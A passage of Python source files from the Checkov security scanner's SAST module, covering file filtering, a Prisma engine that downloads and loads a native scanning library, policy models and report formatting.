logger.warning(f"path: {path} not found") ================================================ FILE: checkov/sast/checks_infra/registry.py ================================================ from checkov.sast.checks_infra.base_registry import Registry import pathlib import os checks_dir = pathlib.Path(__file__).parent.resolve().parent.resolve() registry = Registry(os.path.join(checks_dir, 'checks')) ================================================ FILE: checkov/sast/common.py ================================================ from __future__ import annotations from typing import List, Tuple def get_code_block_from_start(lines: List[str], start: int) -> List[Tuple[int, str]]: code_block = [(index, line) for index, line in enumerate(lines, start=start)] return cut_code_block_ident(code_block) def cut_code_block_ident(code_block: List[Tuple[int, str]]) -> List[Tuple[int, str]]: min_ident = len(code_block[0][1]) - len(code_block[0][1].lstrip()) for item in code_block[1:]: current_min_ident = len(item[1]) - len(item[1].lstrip()) if current_min_ident < min_ident: min_ident = current_min_ident if min_ident == 0: return code_block code_block_cut_ident = [] for item in code_block: code_block_cut_ident.append((item[0], item[1][min_ident:])) return code_block_cut_ident ================================================ FILE: checkov/sast/engines/__init__.py ================================================ ================================================ FILE: checkov/sast/engines/base_engine.py ================================================ from abc import abstractmethod, ABC from typing import List, Set from checkov.common.output.report import Report from checkov.common.sast.consts import CDKLanguages, SastLanguages from checkov.sast.checks_infra.base_registry import Registry class SastEngine(ABC): @abstractmethod def get_reports(self, targets: List[str], registry: Registry, languages: Set[SastLanguages], cdk_languages: List[CDKLanguages]) -> List[Report]: pass ================================================ FILE: checkov/sast/engines/files_filter_manager.py ================================================ import logging import os import json from typing import Set, List, Dict from checkov.common.runners.base_runner import IGNORE_HIDDEN_DIRECTORY_ENV, ignored_directories from checkov.common.sast.consts import SastLanguages class FilesFilterManager: def __init__(self, source_codes: List[str], languages: Set[SastLanguages]) -> None: self.source_codes: List[str] = source_codes self.languages: Set[SastLanguages] = languages def get_files_to_filter(self) -> List[str]: files_to_filter: List[str] = [] try: if SastLanguages.JAVASCRIPT in self.languages: files_to_filter += self._get_js_files_to_filter() files_to_filter += self._filter_hidden_files() except Exception as e: logging.debug(f'Error filtering js files generated by ts: {e}') return files_to_filter def _get_js_files_to_filter(self) -> List[str]: js_files_to_filter = [] for path in self.source_codes: js_files: List[Dict[str, str]] = [] ts_files: List[Dict[str, str]] = [] tsconfig_files: List[Dict[str, str]] = [] for (dirpath, _, filenames) in os.walk(path): if '/node_modules/' in dirpath: continue for filename in filenames: if filename.endswith('.ts'): ts_files.append({'full_path': os.sep.join([dirpath, filename]), 'dir': dirpath, 'name': filename}) if filename.endswith('tsconfig.json'): tsconfig_files.append({'full_path': os.sep.join([dirpath, filename]), 'dir': dirpath, 'name': filename}) if filename.endswith('.js'): js_files.append({'full_path': os.sep.join([dirpath, filename]), 'dir': dirpath, 'name': filename}) js_files_to_filter += FilesFilterManager._filter_by_tsconfig(tsconfig_files) js_files_to_filter += FilesFilterManager._filter_direct_build_js(js_files, ts_files, js_files_to_filter) return js_files_to_filter @staticmethod def _filter_direct_build_js(js_files: List[Dict[str, str]], ts_files: List[Dict[str, str]], filtered_by_tsconfig: List[str]) -> List[str]: js_files_to_filter: List[str] = [] for js_file in js_files: js_dir = js_file.get('dir', '') already_skipped = False for filtered_by_tsconfig_path in filtered_by_tsconfig: if js_dir.startswith(filtered_by_tsconfig_path): already_skipped = True break if already_skipped: continue for ts_file in ts_files: if ts_file.get('dir', '') == js_dir and ts_file.get('name', '')[:-3] == js_file.get('name', '')[:-3]: js_files_to_filter.append(js_file.get('full_path', '')) break return js_files_to_filter @staticmethod def _filter_by_tsconfig(tsconfig_files: List[Dict[str, str]]) -> List[str]: js_files_to_filter: List[str] = [] for tsconfig_file in tsconfig_files: with open(tsconfig_file.get('full_path', '')) as fp: config = json.load(fp) out_dir = config.get('compilerOptions', {}).get('outDir') out_file = config.get('compilerOptions', {}).get('outFile') if out_dir: build_dir = out_dir elif out_file: build_dir = out_file else: build_dir = tsconfig_file.get('dir') # relative path if not build_dir.startswith('/'): build_path = os.path.abspath(tsconfig_file.get('dir', '') + '/' + build_dir) # absolute path else: build_path = build_dir js_files_to_filter.append(build_path) return js_files_to_filter def _filter_hidden_files(self) -> List[str]: # consider ENV variable to ignore hidden directories (CKV_IGNORED_DIRECTORIES, CKV_IGNORE_HIDDEN_DIRECTORIES) paths_to_filter: List[str] = ignored_directories.copy() if not IGNORE_HIDDEN_DIRECTORY_ENV: return paths_to_filter for path in self.source_codes: for (_dirpath, dirs, _) in os.walk(path): for directory in dirs: if directory.startswith('.'): paths_to_filter.append(directory) return paths_to_filter ================================================ FILE: checkov/sast/engines/prisma_engine.py ================================================ import ctypes import subprocess # nosec import sys from datetime import datetime import json import logging import os import platform import re import stat from pathlib import Path from typing import Optional, List, Set, Union, Dict, Any, Tuple, cast from cachetools import cached, TTLCache from pydantic import ValidationError from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as policy_metadata_integration from checkov.common.bridgecrew.platform_key import bridgecrew_dir from checkov.common.bridgecrew.severities import get_severity, Severity, Severities, BcSeverities from checkov.common.models.enums import CheckResult from checkov.common.output.report import Report from checkov.common.sast.consts import CDKLanguages, SastLanguages from checkov.common.sca.reachability.sast_contract.data_fetcher_sast_lib import SastReachabilityDataFetcher from checkov.common.typing import _CheckResult from checkov.common.util.http_utils import request_wrapper from checkov.sast.checks_infra.base_registry import Registry from checkov.sast.common import get_code_block_from_start from checkov.sast.engines.base_engine import SastEngine from checkov.sast.prisma_models.library_input import LibraryInput from checkov.sast.prisma_models.policies_list import SastPolicies from checkov.common.sast.consts import CDK_FRAMEWORK_PREFIX from checkov.common.sast.report_types import PrismaReport, RuleMatch, create_empty_report from checkov.sast.record import SastRecord from checkov.sast.report import SastReport from checkov.cdk.report import CDKReport from checkov.sast.engines.files_filter_manager import FilesFilterManager logger = logging.getLogger(__name__) REPORT_PARSING_ERRORS = "report_parsing_errors" FILE_NAME_PATTERN = re.compile(r"(\d+_\d+_\d+)_library\.(so|dll|dylib)") SAST_CORE_FILENAME_PATTERN = re.compile(rf"{FILE_NAME_PATTERN.pattern}$") SAST_CORE_URL_PATTERN = re.compile(rf".*/(?Pv?{FILE_NAME_PATTERN.pattern})\?.*") class PrismaEngine(SastEngine): def __init__(self) -> None: self.lib_path = "" self.winmode = sys.platform.startswith('win') self.check_type = CheckType.SAST self.prisma_sast_dir_path = Path(bridgecrew_dir) / "sast" self.sast_platform_base_path = "api/v1/sast" self.enable_inline_suppressions = os.getenv("ENABLE_SAST_INLINE_SUPPRESSIONS", False) def get_check_thresholds(self, registry: Registry) -> Tuple[Severity, Severity]: """ Returns a tuple of check threshold and skip check threshold.. If a severity was specified in --check and / or --skip-check, then return a tuple of those values (these override enforcement rules). Else if enforcement rules are enabled, return a tuple of the enforcement rule's SAST soft fail threshold and NONE. Else return a tuple of NONE, NONE """ none = Severities[BcSeverities.NONE] check_threshold: Optional[Severity] = registry.runner_filter.check_threshold # type:ignore[union-attr] # not null skip_check_threshold: Optional[Severity] = registry.runner_filter.skip_check_threshold # type:ignore[union-attr] # not null enforcement_threshold: Optional[Severity] = cast(Severity, registry.runner_filter.enforcement_rule_configs[self.check_type]) if registry.runner_filter.use_enforcement_rules else None # type:ignore[union-attr] # not null return (check_threshold or none, skip_check_threshold or none) if (check_threshold or skip_check_threshold) else \ (enforcement_threshold, none) if enforcement_threshold else \ (none, none) def get_reports(self, targets: List[str], registry: Registry, languages: Set[SastLanguages], cdk_languages: List[CDKLanguages]) -> List[Report]: if not bc_integration.bc_api_key: logging.info("The --bc-api-key flag needs to be set to run SAST Prisma Cloud scanning") return [] status = self.setup_sast_artifact() if not status: return [] prisma_lib_path = self.get_sast_artifact() if not prisma_lib_path: return [] self.lib_path = str(prisma_lib_path) check_threshold, skip_check_threshold = self.get_check_thresholds(registry) skip_paths = registry.runner_filter.excluded_paths if registry.runner_filter else [] files_filter_manager = FilesFilterManager(targets, languages) skip_paths += files_filter_manager.get_files_to_filter() library_input: LibraryInput = { 'languages': languages, 'source_codes': targets, 'policies': registry.checks_dirs_path, 'checks': registry.runner_filter.checks if registry.runner_filter else [], 'skip_checks': registry.runner_filter.skip_checks if registry.runner_filter else [], 'check_threshold': check_threshold, 'skip_check_threshold': skip_check_threshold, 'platform_check_metadata': policy_metadata_integration.sast_check_metadata or {}, 'skip_path': skip_paths, 'report_imports': registry.runner_filter.report_sast_imports if registry.runner_filter else False, 'remove_default_policies': registry.runner_filter.remove_default_sast_policies if registry.runner_filter else False, 'report_reachability': registry.runner_filter.report_sast_reachability if registry.runner_filter else False, 'cdk_languages': cdk_languages } prisma_result = self.run_go_library(**library_input) return prisma_result def setup_sast_artifact(self) -> bool: current_version = "" if not self.prisma_sast_dir_path.exists(): try: os.makedirs(self.prisma_sast_dir_path, exist_ok=True) except FileExistsError: pass else: is_file_exists = [f for f in os.listdir(self.prisma_sast_dir_path) if (self.prisma_sast_dir_path / f).is_file() and "library" in f] if len(is_file_exists) > 0: latest_file = os.path.join(self.prisma_sast_dir_path, is_file_exists[0]) creation_time = os.path.getmtime(latest_file) now = datetime.now().timestamp() diff = datetime.fromtimestamp(now) - datetime.fromtimestamp(creation_time) if diff.days < 1: match = re.search(SAST_CORE_FILENAME_PATTERN, latest_file) if match: current_version = match.groups()[0] if os.getenv("SAST_ARTIFACT_PATH"): logging.debug(f'using local artifact in path {os.getenv("SAST_ARTIFACT_PATH")}') return True status: bool = self.download_sast_artifacts(current_version) return status @cached(TTLCache(maxsize=1, ttl=300)) def download_sast_artifacts(self, current_version: str) -> bool: try: machine = get_machine() os_type = platform.system().lower() headers = bc_integration.get_default_headers("GET") headers["X-Client-Sast-Version"] = current_version headers["X-Required-Sast-Version"] = "latest" # or ant version separated with _ # don't use the 'should_call_raise_for_status' parameter for now, because it logs errors messages response = request_wrapper( method="GET", url=f"{bc_integration.api_url}/{self.sast_platform_base_path}/{os_type}/{machine}/artifacts", headers=headers, ) response.raise_for_status() if response.status_code == 304: return True match = re.match(SAST_CORE_URL_PATTERN, response.url) if match: new_name = match.group('name') cli_file_name_path = self.prisma_sast_dir_path / new_name self._cleanup_scan() cli_file_name_path.touch(exist_ok=True) cli_file_name_path.write_bytes(response.content) cli_file_name_path.chmod(cli_file_name_path.stat().st_mode | stat.S_IEXEC | stat.S_IREAD) logging.debug("sast artifacts downloaded") return True except Exception: logging.debug( "Unexpected failure happened during downloading sast artifact. details are below.\n" "scanning is terminating. please try again. if it is repeated, please report.\n", exc_info=True) return False def _cleanup_scan(self) -> None: if self.prisma_sast_dir_path.exists(): for file in os.scandir(self.prisma_sast_dir_path): os.unlink(file.path) # shutil.rmtree(self.prisma_sast_dir_path) logging.info('sast dir is clear') else: self.prisma_sast_dir_path.mkdir(exist_ok=True) def get_sast_artifact(self) -> Optional[Path]: env_variable_path = os.getenv("SAST_ARTIFACT_PATH") if env_variable_path and os.path.isfile(env_variable_path): return Path(env_variable_path) files = [(self.prisma_sast_dir_path / f) for f in os.listdir(self.prisma_sast_dir_path) if (self.prisma_sast_dir_path / f).is_file() and "library" in f] if len(files) == 0: return None return files[0] def run_go_library(self, languages: Set[SastLanguages], source_codes: List[str], policies: List[str], checks: List[str], skip_checks: List[str], skip_path: List[str], check_threshold: Severity, skip_check_threshold: Severity, platform_check_metadata: Dict[str, Any], cdk_languages: List[CDKLanguages], list_policies: bool = False, report_imports: bool = True, report_reachability: bool = False, remove_default_policies: bool = False) -> Union[List[Report], SastPolicies]: validate_params(languages, source_codes, list_policies) if bc_integration.bc_source: name = bc_integration.bc_source.name else: name = "unknown" reachability_data = None if report_reachability or report_imports: # TODO - run sast-core per src for source_code in source_codes: reachability_data = get_reachability_data(source_code) document = { "scan_code_params": { "source_codes": source_codes, "policies": policies, "languages": [a.value for a in languages], "checks": checks, "skip_checks": skip_checks, "skip_path": skip_path, "check_threshold": str(check_threshold), "skip_check_threshold": str(skip_check_threshold), "platform_check_metadata": platform_check_metadata, "list_policies": list_policies, "report_imports": report_imports, "remove_default_policies": remove_default_policies, "report_reachability": report_reachability, "reachability_data": reachability_data, "cdk_languages": [a.value for a in cdk_languages] }, "auth": { "api_key": bc_integration.get_auth_token(), "platform_url": bc_integration.api_url, "client_name": name, "version": bc_integration.bc_source_version } } if list_policies: return self.run_go_library_list_policies(document) if self.winmode: sast_report = self._windows_sast_scan(document) else: sast_report = self._sast_default_scan(document) try: result = self.create_prisma_report(sast_report) except ValidationError as e: result = create_empty_report(list(languages)) result.errors = {REPORT_PARSING_ERRORS: [str(err) for err in e.errors()]} return self.create_report(result) def _sast_default_scan(self, sast_input: Dict[str, Any]) -> Dict[str, Any]: library = ctypes.cdll.LoadLibrary(self.lib_path) analyze_code = library.analyzeCode analyze_code.restype = ctypes.c_void_p # send the document as a byte array of json format analyze_code_output = analyze_code(json.dumps(sast_input).encode('utf-8')) # we dereference the pointer to a byte array analyze_code_bytes = ctypes.string_at(analyze_code_output) # convert our byte array to a string analyze_code_string = analyze_code_bytes.decode('utf-8') return json.loads(analyze_code_string) # type: ignore def _windows_sast_scan(self, sast_input: Dict[str, Any]) -> Dict[str, Any]: lib_dir_path = f"{os.path.dirname(self.lib_path)}" checkov_input_path = os.path.join(lib_dir_path, "checkov_input.json") sast_output_path = os.path.join(lib_dir_path, "sast_output.json") with open(checkov_input_path, 'w') as f: f.write(json.dumps(sast_input)) callargs = [self.lib_path, checkov_input_path, sast_output_path] subprocess.run(callargs, env={"LOG_LEVEL": os.getenv("LOG_LEVEL", "INFO")}) # nosec B603 with open(sast_output_path, 'r', encoding='utf-8') as f: report = f.read() parsed_report = json.loads(report) # cleanup os.remove(checkov_input_path) os.remove(sast_output_path) return parsed_report # type: ignore def create_prisma_report(self, data: Dict[str, Any]) -> PrismaReport: if not data.get("imports"): data["imports"] = {} if not data.get("reachability_report"): data["reachability_report"] = {} self.remove_none_conf_incidents_policies(data) return PrismaReport(**data) @staticmethod def remove_none_conf_incidents_policies(data: Dict[str, Any]) -> None: remove_list = [] # type: ignore for lang, match in data.get('rule_match', dict()).items(): for check in match.keys(): if bc_integration.customer_run_config_response: if check not in bc_integration.customer_run_config_response.get('policyMetadata', []): remove_list.append((lang, check)) for lang, check in remove_list: del data['rule_match'][lang][check] def run_go_library_list_policies(self, document: Dict[str, Any]) -> SastPolicies: try: library = ctypes.cdll.LoadLibrary(self.lib_path) list_policies = library.listPolicies list_policies.restype = ctypes.c_void_p # send the document as a byte array of json format list_policies_output = list_policies(json.dumps(document).encode('utf-8')) # we dereference the pointer to a byte array list_policies_bytes = ctypes.string_at(list_policies_output) # convert our byte array to a string list_policies_string = list_policies_bytes.decode('utf-8') d = json.loads(list_policies_string) except Exception as e: logging.error(e) return {} try: return SastPolicies(**d) except ValidationError: if d.get('errors'): logging.error(d.get('errors')) return {} def create_report(self, prisma_report: PrismaReport) -> List[Union[SastReport, CDKReport]]: logging.debug("Printing Prisma-SAST profiling data") logging.debug(prisma_report.profiler) reports: List[SastReport] = [] for lang, checks in prisma_report.rule_match.items(): sast_report = PrismaReport(rule_match={lang: checks}, errors=prisma_report.errors, profiler=prisma_report.profiler, run_metadata=prisma_report.run_metadata, imports={}, reachability_report={}, skipped_checks_by_file=prisma_report.skipped_checks_by_file) report = SastReport(f'{self.check_type.lower()}_{lang.value}', prisma_report.run_metadata, lang, sast_report) for check_id, match_rule in checks.items(): check_name = match_rule.check_name check_cwe = match_rule.check_cwe check_owasp = match_rule.check_owasp severity = get_severity(match_rule.severity) for match in match_rule.matches: location = match.location file_abs_path = location.path file_path = file_abs_path.split('/')[-1] file_line_range = [location.start.row, location.end.row] split_code_block = [line + '\n' for line in location.code_block.split('\n')] code_block = get_code_block_from_start(split_code_block, location.start.row) metadata = match.metadata if self.enable_inline_suppressions and any(skipped_check.check_id == match_rule.check_id for skipped_check in prisma_report.skipped_checks_by_file.get(file_abs_path, [])): check_result = _CheckResult( result=CheckResult.SKIPPED, suppress_comment=next(skipped_check.suppress_comment for skipped_check in prisma_report.skipped_checks_by_file.get(file_abs_path, []) if skipped_check.check_id == match_rule.check_id)) else: check_result = _CheckResult(result=CheckResult.FAILED) record = SastRecord(check_id=check_id, check_name=check_name, resource="", evaluations={}, check_class="", check_result=check_result, code_block=code_block, file_path=file_path, file_line_range=file_line_range, metadata=metadata, file_abs_path=file_abs_path, severity=severity, cwe=check_cwe, owasp=check_owasp, show_severity=True) report.add_record(record) report_parsing_errors = prisma_report.errors.get(REPORT_PARSING_ERRORS) if report_parsing_errors: report.add_parsing_errors(report_parsing_errors) reports.append(report) for lang in prisma_report.imports: for report in reports: if report.language == lang: report.sast_imports = prisma_report.imports[lang] break else: sast_report = PrismaReport(rule_match={lang: {}}, errors=prisma_report.errors, profiler=prisma_report.profiler, run_metadata=prisma_report.run_metadata, imports={}, reachability_report={}, skipped_checks_by_file={}) report = SastReport(f'{self.check_type.lower()}_{lang.value}', prisma_report.run_metadata, lang, sast_report) report.sast_imports = prisma_report.imports[lang] reports.append(report) for lang in prisma_report.reachability_report: for report in reports: if report.language == lang: report.sast_reachability = prisma_report.reachability_report[lang] break else: sast_report = PrismaReport(rule_match={lang: {}}, errors=prisma_report.errors, profiler=prisma_report.profiler, run_metadata=prisma_report.run_metadata, imports={}, reachability_report={}, skipped_checks_by_file={}) report = SastReport(f'{self.check_type.lower()}_{lang.value}', prisma_report.run_metadata, lang, sast_report) report.sast_reachability = prisma_report.reachability_report[lang] reports.append(report) all_report = self._split_sast_cdk_reports(reports) return all_report def _split_sast_cdk_reports(self, sast_reports: List[SastReport]) -> List[Union[SastReport, CDKReport]]: cdk_reports: List[CDKReport] = [] for report in sast_reports: for lang, rule_matches in report.sast_report.rule_match.items(): sast_rule_matches: Dict[str, RuleMatch] = {} for policy_id, rule_match in rule_matches.items(): if rule_match.metadata.framework != CDK_FRAMEWORK_PREFIX: # type: ignore sast_rule_matches[policy_id] = rule_match continue self._update_cdk_report(lang, cdk_reports, report, policy_id, rule_match) if sast_rule_matches: report.sast_report.rule_match[lang] = sast_rule_matches else: report.sast_report.rule_match = {} self._update_sast_report_checks(report, cdk_reports) return self._get_all_reports(sast_reports, cdk_reports) @staticmethod def _update_cdk_report(lang: SastLanguages, cdk_reports: List[CDKReport], sast_report: SastReport, policy_id: str, rule_match: RuleMatch) -> None: if lang not in [c.language for c in cdk_reports]: new_cdk_report = PrismaReport(rule_match={lang: {}}, errors=sast_report.sast_report.errors, profiler=sast_report.sast_report.profiler, run_metadata=sast_report.sast_report.run_metadata, imports={}, reachability_report={}, skipped_checks_by_file={}) new_report = CDKReport(f'{CDK_FRAMEWORK_PREFIX}_{lang.value}', sast_report.sast_report.run_metadata, lang, new_cdk_report) cdk_reports.append(new_report) for cdk_report in cdk_reports: if cdk_report.language == lang: cdk_report.cdk_report.rule_match[lang][policy_id] = rule_match for failed_check in sast_report.failed_checks: if failed_check.check_id == policy_id: cdk_report.failed_checks.append(failed_check) for skiped_check in sast_report.skipped_checks: if skiped_check.check_id == policy_id: cdk_report.skipped_checks.append(skiped_check) break def _update_sast_report_checks(self, report: SastReport, cdk_reports: List[CDKReport]) -> None: sast_failed_checks = [] sast_skiped_checks = [] if report.language not in [c.language for c in cdk_reports]: report.failed_checks = report.failed_checks report.skipped_checks = report.skipped_checks return for cdk_report in cdk_reports: fail_check = self._get_sast_check(report, cdk_report, report.failed_checks) if fail_check: sast_failed_checks.append(fail_check) skip_check = self._get_sast_check(report, cdk_report, report.skipped_checks) if skip_check: sast_skiped_checks.append(skip_check) report.failed_checks = sast_failed_checks report.skipped_checks = sast_skiped_checks @staticmethod def _get_sast_check(sast_report: SastReport, cdk_report: CDKReport, sast_report_checks: List[Any]) -> Any: for check in sast_report_checks: if sast_report.language == cdk_report.language and check.check_id not in [s.check_id for s in cdk_report.skipped_checks]: return check return None def _get_all_reports(self, sast_reports: List[SastReport], cdk_reports: List[CDKReport]) -> List[Union[SastReport, CDKReport]]: all_reports = [] for report in sast_reports + cdk_reports: if report.check_type.startswith('cdk'): if report.cdk_report.rule_match: # type: ignore all_reports.append(report) continue if report.check_type.startswith('sast'): if report.sast_report.rule_match or report.sast_reachability or report.sast_imports: # type: ignore all_reports.append(report) continue return all_reports def get_policies(self, languages: Set[SastLanguages]) -> SastPolicies: if not bc_integration.bc_api_key: logging.info("The --bc-api-key flag needs to be set to run Sast prisma scanning") return [] self.setup_sast_artifact() prisma_lib_path = self.get_sast_artifact() if not prisma_lib_path: return [] self.lib_path = str(prisma_lib_path) library_input: LibraryInput = { 'languages': languages, 'list_policies': True, 'source_codes': [], 'policies': [], 'checks': [], 'skip_checks': [], 'check_threshold': Severities[BcSeverities.NONE], 'skip_check_threshold': Severities[BcSeverities.NONE], 'platform_check_metadata': policy_metadata_integration.sast_check_metadata, 'skip_path': [], 'report_imports': False, 'report_reachability': False, 'cdk_languages': [] } prisma_result = self.run_go_library(**library_input) return prisma_result def validate_params(languages: Set[SastLanguages], source_codes: List[str], list_policies: bool) -> None: if list_policies: return if len(source_codes) == 0: raise Exception('must provide source code file or dir for sast runner') if len(languages) == 0: raise Exception('must provide a language for sast runner') def get_machine() -> str: machine = platform.machine().lower() if machine in ['amd64', 'x86', 'x86_64', 'x64']: return "amd64" if machine in ['arm', 'arm64', 'armv8', 'aarch64', 'arm64-v8a']: return 'arm64' return '' def get_reachability_data(repo_path: str) -> Dict[str, Any]: fetcher = SastReachabilityDataFetcher() reachability_data = fetcher.fetch(repository_name=repo_path, repository_root_dir=repo_path) data: Dict[str, Any] = {} if not reachability_data: return data langs = reachability_data.aliasMapping.get("languages") if not langs: return {} for lang, lang_data in langs.items(): if lang == "nodejs": lang = "javascript" data[lang] = {"package_alias": {}} for _, files in lang_data.get("repositories", {}).items(): for _, files_data in files.get("files", {}).items(): for original_package_name, package_alias in files_data.get("packageAliases", {}).items(): aliases = package_alias.get("packageAliases", []) if aliases: data[lang]["package_alias"][original_package_name] = aliases[0] return data ================================================ FILE: checkov/sast/prisma_models/__init__.py ================================================ ================================================ FILE: checkov/sast/prisma_models/library_input.py ================================================ from typing import Set, List, Dict, Any from checkov.common.bridgecrew.severities import Severity from checkov.common.sast.consts import SastLanguages, CDKLanguages import sys if sys.version_info < (3, 11): from typing_extensions import TypedDict, NotRequired else: from typing import TypedDict, NotRequired class LibraryInput(TypedDict): languages: Set[SastLanguages] source_codes: List[str] policies: List[str] checks: List[str] skip_checks: List[str] skip_path: List[str] check_threshold: Severity skip_check_threshold: Severity platform_check_metadata: Dict[str, Any] list_policies: NotRequired[bool] report_imports: bool remove_default_policies: NotRequired[bool] report_reachability: bool cdk_languages: List[CDKLanguages] ================================================ FILE: checkov/sast/prisma_models/policies_list.py ================================================ from typing import Dict, Any, List, Union from pydantic import BaseModel, create_model from checkov.common.sast.consts import SastLanguages class SastPolicyMetadataEntry(BaseModel): ID: str # noqa: CCE003 Name: str # noqa: CCE003 Guidelines: str # noqa: CCE003 Category: str # noqa: CCE003 Severity: str # noqa: CCE003 CWE: List[str] # noqa: CCE003 OWASP: Union[List[str], None] # noqa: CCE003 class SastPolicyEntry(BaseModel): Metadata: SastPolicyMetadataEntry # noqa: CCE003 Language: SastLanguages # noqa: CCE003 Definition: Dict[str, Any] # noqa: CCE003 # dynamically typing the object of SastPolicies fields = {lang.value: (List[SastPolicyEntry], []) for lang in SastLanguages} # type: ignore SastPolicies = create_model('SastPolicies', **fields) # type: ignore ================================================ FILE: checkov/sast/record.py ================================================ from typing import List, Dict, Any, Tuple, Optional, Union from termcolor import colored from checkov.common.bridgecrew.severities import Severity from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.typing import _CheckResult from checkov.common.sast.report_types import MatchMetadata, MatchLocation class SastRecord(Record): def __init__(self, check_id: str, check_name: str, check_result: _CheckResult, code_block: List[Tuple[int, str]], file_path: str, file_line_range: List[int], resource: str, evaluations: Optional[Dict[str, Any]], check_class: str, file_abs_path: str, severity: Optional[Severity], metadata: Optional[MatchMetadata] = None, bc_check_id: Optional[str] = None, cwe: Optional[Union[List[str], str]] = None, owasp: Optional[Union[List[str], str]] = None, show_severity: Optional[bool] = False # should be false in case the severities are just a default value ) -> None: super().__init__( check_id=check_id, bc_check_id=bc_check_id, check_name=check_name, check_result=check_result, code_block=code_block, file_path=file_path, file_line_range=file_line_range, resource=resource, evaluations=evaluations, check_class=check_class, file_abs_path=file_abs_path, severity=severity, ) self.cwe = cwe self.owasp = owasp self.show_severity = show_severity self.metadata = metadata def to_string(self, compact: bool = False, use_bc_ids: bool = False) -> str: status = "" status_color = "white" suppress_comment = "" if self.check_result["result"] == CheckResult.PASSED: status = CheckResult.PASSED.name status_color = "green" elif self.check_result["result"] == CheckResult.FAILED: status = CheckResult.FAILED.name status_color = "red" elif self.check_result["result"] == CheckResult.SKIPPED: status = CheckResult.SKIPPED.name status_color = "blue" suppress_comment = "\tSuppress comment: {}\n".format(self.check_result.get("suppress_comment", "")) check_message = colored('Check: {}: "{}"\n'.format(self.get_output_id(use_bc_ids), self.check_name), "white") guideline_message = self.get_guideline_string(self.guideline) severity_message = f'\tSeverity: {self.severity.name}\n' if self.severity and self.show_severity else '' evaluation_message = self.get_evaluation_string(self.evaluations, self.code_block) cwe_message = colored(f'\t{self.cwe}\n') if self.cwe else '' if self.metadata and self.metadata.taint_mode and self.metadata.taint_mode.data_flow and \ len(self.metadata.taint_mode.data_flow) > 0: code_lines, file_details = self.get_code_lines_taint(self.metadata.taint_mode.data_flow) else: file_details = f'{self.file_path}:{" -> ".join([str(x) for x in self.file_line_range])}' if \ self.file_line_range[0] != self.file_line_range[-1] else \ f'{self.file_path}:{str(self.file_line_range[0])}' code_lines = self.get_code_lines_string(self.code_block) detail = self.get_details_string(self.details) caller_file_details = self.get_caller_file_details_string(self.caller_file_path, self.caller_file_line_range) status_message = colored("\t{} for file - {}\n".format(status, file_details), status_color) if self.check_result["result"] == CheckResult.FAILED and code_lines and not compact: return f"{check_message}{severity_message}{status_message}{cwe_message}{detail}{caller_file_details}{guideline_message}{code_lines}{evaluation_message}\n" if self.check_result["result"] == CheckResult.SKIPPED: return f"{check_message}{severity_message}{status_message}{cwe_message}{suppress_comment}{detail}{caller_file_details}{guideline_message}\n" else: return f"{check_message}{severity_message}{status_message}{cwe_message}{detail}{caller_file_details}{evaluation_message}{guideline_message}\n" def get_code_lines_taint(self, dataflows: List[MatchLocation]) -> Tuple[str, str]: code_lines = "" last_file = dataflows[0].path.split('/')[-1] last_line_num = dataflows[0].start.row code_lines += colored("\t\t" + last_file, 'light_yellow') file_details = last_file for df in dataflows: cur_file = df.path.split('/')[-1] cur_line_num = df.start.row if cur_file != last_file: code_lines += colored("\t\t" + cur_file, 'light_yellow') file_details += "->" + cur_file last_file = cur_file else: if cur_line_num != last_line_num and cur_line_num != last_line_num + 1: code_lines += colored("\t\t...", 'light_yellow') code_lines += self.get_code_lines_string([(cur_line_num, df.code_block)]) file_details += "->" + str(cur_line_num) last_line_num = cur_line_num return code_lines, file_details ================================================ FILE: checkov/sast/report.py ================================================ import logging from typing import Any, Dict, Union, List, Optional from checkov.common.output.report import Report from checkov.common.sast.consts import POLICIES_ERRORS, POLICIES_ERRORS_COUNT, SOURCE_FILES_COUNT, POLICY_COUNT, SastLanguages from checkov.common.sast.report_types import PrismaReport class SastReport(Report): def __init__(self, check_type: str, metadata: Dict[str, Optional[Union[str, int, List[str]]]], language: SastLanguages, sast_report: PrismaReport): super().__init__(check_type) self.metadata = metadata self.language: SastLanguages = language self.sast_imports: Dict[str, Any] = {} self.sast_reachability: Dict[str, Any] = {} self.sast_report: PrismaReport = sast_report @property def errors(self) -> Dict[str, Any]: return {k: v for k, v in self.sast_report.errors.items() if isinstance(v, str) and "policy" not in v.lower()} def get_summary(self) -> Dict[str, Union[int, str]]: base_summary: Dict[str, Union[int, str]] = super().get_summary() err_str = "" policies_errors_count = 0 policies_errors = self.metadata.get(POLICIES_ERRORS) if isinstance(policies_errors, list) and policies_errors: policies_errors_count = len(policies_errors) for e in policies_errors: err_str += f"\t- {e}\n" base_summary[POLICIES_ERRORS] = err_str base_summary[POLICIES_ERRORS_COUNT] = policies_errors_count source_files_count = self.metadata.get(SOURCE_FILES_COUNT) if isinstance(source_files_count, int) or isinstance(source_files_count, str): base_summary[SOURCE_FILES_COUNT] = str(source_files_count) policy_count = self.metadata.get(POLICY_COUNT) if isinstance(policy_count, int) or isinstance(policy_count, str): base_summary[POLICY_COUNT] = policy_count return base_summary @staticmethod def get_formated_reachability_report(reachability_report_dict: Dict[SastLanguages, Any]) -> Dict[str, Any]: formated_report: Dict[str, Any] = {} for lang, repos_data in reachability_report_dict.items(): formated_report[lang.value] = [] for repo_name, files_data in repos_data.items(): new_repo = {'Name': repo_name, 'Files': []} for file_path, packages_data in files_data['files'].items(): new_file = {'Path': file_path, 'Packages': []} for package_name, package_data in packages_data['packages'].items(): new_package = {'Name': package_name, 'Alias': package_data['alias'], 'Functions': []} for func in package_data['functions']: new_func = {'Name': func['name'], 'Alias': func['alias'], 'LineNumber': func['line_number'], 'CodeBlock': [func['code_block']], 'CveId': func.get('cve_id', '')} new_package['Functions'].append(new_func) new_file['Packages'].append(new_package) new_repo['Files'].append(new_file) formated_report[lang.value].append(new_repo) return formated_report class SastData: def __init__(self) -> None: self.imports_data: Optional[Dict[str, Any]] = None self.reachability_report: Optional[Dict[str, Any]] = None def set_imports_data(self, imports_data: Dict[str, Any]) -> None: self.imports_data = imports_data def set_reachability_report(self, reachability_report: Dict[str, Any]) -> None: self.reachability_report = reachability_report @staticmethod def get_sast_import_report(scan_reports: List[SastReport]) -> Dict[str, Any]: sast_imports_report: Dict[SastLanguages, Any] = {} for report in scan_reports: sast_imports_report[report.language] = {} for report in scan_reports: for file_name, all_data in report.sast_imports.items(): current_imports = 